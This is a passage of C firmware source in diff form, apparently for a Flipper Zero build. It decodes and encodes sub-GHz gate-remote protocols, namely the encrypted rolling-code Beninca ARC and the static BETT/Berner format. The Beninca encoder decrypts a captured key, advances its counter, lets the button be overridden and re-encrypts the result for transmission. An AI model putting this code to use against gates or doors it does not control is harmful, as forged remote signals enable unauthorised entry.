level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
}
}
// Add stop bit
instance->encoder.upload[index_local++] =
level_duration_make(true, (uint32_t)subghz_protocol_beninca_arc_const.te_short);
// Add gap between packets
instance->encoder.upload[index_local++] =
level_duration_make(false, (uint32_t)subghz_protocol_beninca_arc_const.te_long * 15);
*index = index_local;
}
static void subghz_protocol_beninca_arc_encoder_prepare_packets(
SubGhzProtocolEncoderBenincaARC* instance) {
furi_assert(instance);
// Counter increment
// check OFEX mode
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFFFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
// TODO: OFEX mode
instance->generic.cnt += 1;
}
// Index for upload array
size_t index = 0;
// Generate new key using custom or default button
instance->generic.btn = subghz_protocol_beninca_arc_get_btn_code();
// override button if we change it with signal settings button editor
if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
// Make 3 packets with different mini counter values - 2, 4, 6
for(uint8_t i = 0; i < 3; i++) {
subghz_protocol_beninca_arc_encrypt(
&instance->generic, instance->keystore, (uint64_t)((i + 1) * 2));
subghz_protocol_beninca_arc_encoder_get_upload(instance, &index);
}
// Set final size of upload array
instance->encoder.size_upload = index;
}
bool subghz_protocol_beninca_arc_create_data(
void* context,
FlipperFormat* flipper_format,
uint32_t serial,
uint8_t btn,
uint32_t cnt,
SubGhzRadioPreset* preset) {
furi_assert(context);
// UwU
SubGhzProtocolEncoderBenincaARC* instance = context;
instance->generic.serial = serial;
instance->generic.btn = btn; // 02 / 04
instance->generic.cnt = cnt;
instance->generic.seed = 0xAA55; // Fixed value constant
instance->generic.data_count_bit = 128;
subghz_protocol_beninca_arc_encrypt(&instance->generic, instance->keystore, 0x1);
SubGhzProtocolStatus res =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
res = SubGhzProtocolStatusErrorParserOthers;
}
if((res == SubGhzProtocolStatusOk) &&
!flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Data2");
res = SubGhzProtocolStatusErrorParserOthers;
}
return res == SubGhzProtocolStatusOk;
}
SubGhzProtocolStatus
subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderBenincaARC* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
if(SubGhzProtocolStatusOk !=
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Missing Data");
break;
}
for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
}
// TODO: if minicounter having larger value use it instead of fixed values
subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
subghz_protocol_beninca_arc_encoder_prepare_packets(instance);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to update Key");
break;
}
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to update Data");
break;
}
instance->encoder.is_running = true;
res = SubGhzProtocolStatusOk;
} while(false);
return res;
}
LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context) {
furi_assert(context);
SubGhzProtocolEncoderBenincaARC* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment) {
SubGhzProtocolDecoderBenincaARC* instance = malloc(sizeof(SubGhzProtocolDecoderBenincaARC));
instance->base.protocol = &subghz_protocol_beninca_arc;
instance->generic.protocol_name = instance->base.protocol->name;
instance->keystore = subghz_environment_get_keystore(environment);
instance->decoder.parser_step = BenincaARCDecoderStart;
return instance;
}
void subghz_protocol_decoder_beninca_arc_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
free(instance);
}
void subghz_protocol_decoder_beninca_arc_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
instance->decoder.parser_step = BenincaARCDecoderStart;
}
void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
switch(instance->decoder.parser_step) {
case BenincaARCDecoderStart:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long * 16) <
subghz_protocol_beninca_arc_const.te_delta * 15)) {
// GAP (9300 +- 2325 us) found switch to next state
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = BenincaARCDecoderHighLevel;
break;
}
// No GAP so stay in current state
break;
case BenincaARCDecoderHighLevel:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = BenincaARCDecoderLowLevel;
// Check if we have collected enough bits
if((instance->decoder.decode_count_bit ==
(subghz_protocol_beninca_arc_const.min_count_bit_for_found / 2)) &&
(instance->decoder.decode_data != 0)) {
// Half data captured 64 bits
instance->generic.data = instance->decoder.decode_data;
instance->decoder.decode_data = 0;
} else if(
instance->decoder.decode_count_bit ==
subghz_protocol_beninca_arc_const.min_count_bit_for_found) {
// Full data captured 128 bits
instance->generic.data_2 = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
instance->decoder.parser_step = BenincaARCDecoderStart;
if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context);
}
break;
}
} else {
instance->decoder.parser_step = BenincaARCDecoderStart;
}
break;
case BenincaARCDecoderLowLevel:
if(!level) {
// Bit 1 is short and long timing = 300us HIGH (te_last) and 600us LOW
if((DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_short) <
subghz_protocol_beninca_arc_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_long) <
subghz_protocol_beninca_arc_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = BenincaARCDecoderHighLevel;
// Bit 0 is long and short timing = 600us HIGH (te_last) and 300us LOW
} else if(
(DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_beninca_arc_const.te_long) <
subghz_protocol_beninca_arc_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_beninca_arc_const.te_short) <
subghz_protocol_beninca_arc_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = BenincaARCDecoderHighLevel;
} else {
instance->decoder.parser_step = BenincaARCDecoderStart;
}
break;
} else {
instance->decoder.parser_step = BenincaARCDecoderStart;
break;
}
}
}
uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
SubGhzProtocolStatus ret =
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
ret = SubGhzProtocolStatusErrorParserOthers;
}
if((ret == SubGhzProtocolStatusOk) &&
!flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Data");
ret = SubGhzProtocolStatusErrorParserOthers;
}
return ret;
}
SubGhzProtocolStatus
subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_beninca_arc_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Missing Data");
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
}
} while(false);
return ret;
}
void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderBenincaARC* instance = context;
uint64_t middle_bytes_dec =
subghz_protocol_beninca_arc_decrypt(&instance->generic, instance->keystore);
// push protocol data to global variable
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.cnt_length_bit = 32;
subghz_block_generic_global.current_cnt = instance->generic.cnt;
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 8;
//
furi_string_printf(
output,
"%s %db\r\n"
"Key1:%08llX\r\n"
"Key2:%08llX\r\n"
"Sn:%08lX Btn:%02X\r\n"
"Mc:%0lX Cnt:%0lX\r\n"
"Fx:%04lX",
instance->base.protocol->name,
instance->generic.data_count_bit,
instance->generic.data,
instance->generic.data_2,
instance->generic.serial,
instance->generic.btn,
(uint32_t)(middle_bytes_dec & 0xFFFFFFFF),
instance->generic.cnt,
instance->generic.seed & 0xFFFF);
}
@@ -0,0 +1,108 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_BENINCA_ARC_NAME "Beninca ARC"
typedef struct SubGhzProtocolDecoderBenincaARC SubGhzProtocolDecoderBenincaARC;
typedef struct SubGhzProtocolEncoderBenincaARC SubGhzProtocolEncoderBenincaARC;
extern const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder;
extern const SubGhzProtocol subghz_protocol_beninca_arc;
/**
* Allocate SubGhzProtocolEncoderBenincaARC.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderBenincaARC* pointer to a SubGhzProtocolEncoderBenincaARC instance
*/
void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderBenincaARC.
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
*/
void subghz_protocol_encoder_beninca_arc_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return true On success
*/
SubGhzProtocolStatus
subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
*/
void subghz_protocol_encoder_beninca_arc_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderBenincaARC.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderBenincaARC* pointer to a SubGhzProtocolDecoderBenincaARC instance
*/
void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderBenincaARC.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
*/
void subghz_protocol_decoder_beninca_arc_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderBenincaARC.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
*/
void subghz_protocol_decoder_beninca_arc_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderBenincaARC.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderBenincaARC.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
* @param output Resulting text
*/
void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output);
@@ -0,0 +1,333 @@
#include "bett.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
// protocol BERNER / ELKA / TEDSEN / TELETASTER
#define TAG "SubGhzProtocolBett"
#define DIP_P 0b11 //(+)
#define DIP_O 0b10 //(0)
#define DIP_N 0b00 //(-)
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
#define SHOW_DIP_P(dip, check_dip) \
((((dip >> 0x8) >> 0x8) == check_dip) ? '*' : '_'), \
((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
static const SubGhzBlockConst subghz_protocol_bett_const = {
.te_short = 340,
.te_long = 2000,
.te_delta = 150,
.min_count_bit_for_found = 18,
};
struct SubGhzProtocolDecoderBETT {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderBETT {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
BETTDecoderStepReset = 0,
BETTDecoderStepSaveDuration,
BETTDecoderStepCheckDuration,
} BETTDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_bett_decoder = {
.alloc = subghz_protocol_decoder_bett_alloc,
.free = subghz_protocol_decoder_bett_free,
.feed = subghz_protocol_decoder_bett_feed,
.reset = subghz_protocol_decoder_bett_reset,
.get_hash_data = subghz_protocol_decoder_bett_get_hash_data,
.serialize = subghz_protocol_decoder_bett_serialize,
.deserialize = subghz_protocol_decoder_bett_deserialize,
.get_string = subghz_protocol_decoder_bett_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_bett_encoder = {
.alloc = subghz_protocol_encoder_bett_alloc,
.free = subghz_protocol_encoder_bett_free,
.deserialize = subghz_protocol_encoder_bett_deserialize,
.stop = subghz_protocol_encoder_bett_stop,
.yield = subghz_protocol_encoder_bett_yield,
};
const SubGhzProtocol subghz_protocol_bett = {
.name = SUBGHZ_PROTOCOL_BETT_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_bett_decoder,
.encoder = &subghz_protocol_bett_encoder,
};
void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderBETT* instance = malloc(sizeof(SubGhzProtocolEncoderBETT));
instance->base.protocol = &subghz_protocol_bett;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 52;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_bett_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderBETT* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderBETT instance
* @return true On success
*/
static bool subghz_protocol_encoder_bett_get_upload(SubGhzProtocolEncoderBETT* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2);
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_long);
}
}
if(bit_read(instance->generic.data, 0)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_bett_const.te_short +
subghz_protocol_bett_const.te_long * 7);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_bett_const.te_long + subghz_protocol_bett_const.te_long * 7);
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderBETT* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_bett_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_bett_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_bett_stop(void* context) {
SubGhzProtocolEncoderBETT* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_bett_yield(void* context) {
SubGhzProtocolEncoderBETT* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderBETT* instance = malloc(sizeof(SubGhzProtocolDecoderBETT));
instance->base.protocol = &subghz_protocol_bett;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_bett_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
free(instance);
}
void subghz_protocol_decoder_bett_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
instance->decoder.parser_step = BETTDecoderStepReset;
}
void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
switch(instance->decoder.parser_step) {
case BETTDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
(subghz_protocol_bett_const.te_delta * 15))) {
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = BETTDecoderStepCheckDuration;
}
break;
case BETTDecoderStepSaveDuration:
if(!level) {
if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
(subghz_protocol_bett_const.te_delta * 15)) {
if(instance->decoder.decode_count_bit ==
subghz_protocol_bett_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
} else {
instance->decoder.parser_step = BETTDecoderStepReset;
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
break;
} else {
if((DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
subghz_protocol_bett_const.te_delta) ||
(DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
subghz_protocol_bett_const.te_delta * 3)) {
instance->decoder.parser_step = BETTDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = BETTDecoderStepReset;
}
}
}
break;
case BETTDecoderStepCheckDuration:
if(level) {
if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
subghz_protocol_bett_const.te_delta * 3) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = BETTDecoderStepSaveDuration;
} else if(
DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
subghz_protocol_bett_const.te_delta) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = BETTDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = BETTDecoderStepReset;
}
} else {
instance->decoder.parser_step = BETTDecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_bett_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderBETT* instance = context;
uint32_t data = (uint32_t)(instance->generic.data & 0x3FFFF);
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%05lX\r\n"
" +: " DIP_PATTERN "\r\n"
" o: " DIP_PATTERN "\r\n"
" -: " DIP_PATTERN "\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
data,
SHOW_DIP_P(data, DIP_P),
SHOW_DIP_P(data, DIP_O),
SHOW_DIP_P(data, DIP_N));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_BETT_NAME "BETT"
typedef struct SubGhzProtocolDecoderBETT SubGhzProtocolDecoderBETT;
typedef struct SubGhzProtocolEncoderBETT SubGhzProtocolEncoderBETT;
extern const SubGhzProtocolDecoder subghz_protocol_bett_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_bett_encoder;
extern const SubGhzProtocol subghz_protocol_bett;
/**
* Allocate SubGhzProtocolEncoderBETT.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderBETT* pointer to a SubGhzProtocolEncoderBETT instance
*/
void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderBETT.
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
*/
void subghz_protocol_encoder_bett_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
*/
void subghz_protocol_encoder_bett_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderBETT instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_bett_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderBETT.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderBETT* pointer to a SubGhzProtocolDecoderBETT instance
*/
void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderBETT.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
*/
void subghz_protocol_decoder_bett_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderBETT.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
*/
void subghz_protocol_decoder_bett_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderBETT.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderBETT.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderBETT instance
* @param output Resulting text
*/
void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output);
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,110 @@
#pragma once
#include "base.h"
#include "public_api.h"
#define SUBGHZ_PROTOCOL_BIN_RAW_NAME "BinRAW"
typedef struct SubGhzProtocolDecoderBinRAW SubGhzProtocolDecoderBinRAW;
typedef struct SubGhzProtocolEncoderBinRAW SubGhzProtocolEncoderBinRAW;
extern const SubGhzProtocolDecoder subghz_protocol_bin_raw_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_bin_raw_encoder;
extern const SubGhzProtocol subghz_protocol_bin_raw;
/**
* Allocate SubGhzProtocolEncoderBinRAW.
* @param environment Pointer to a SubGhzEnvironment instance
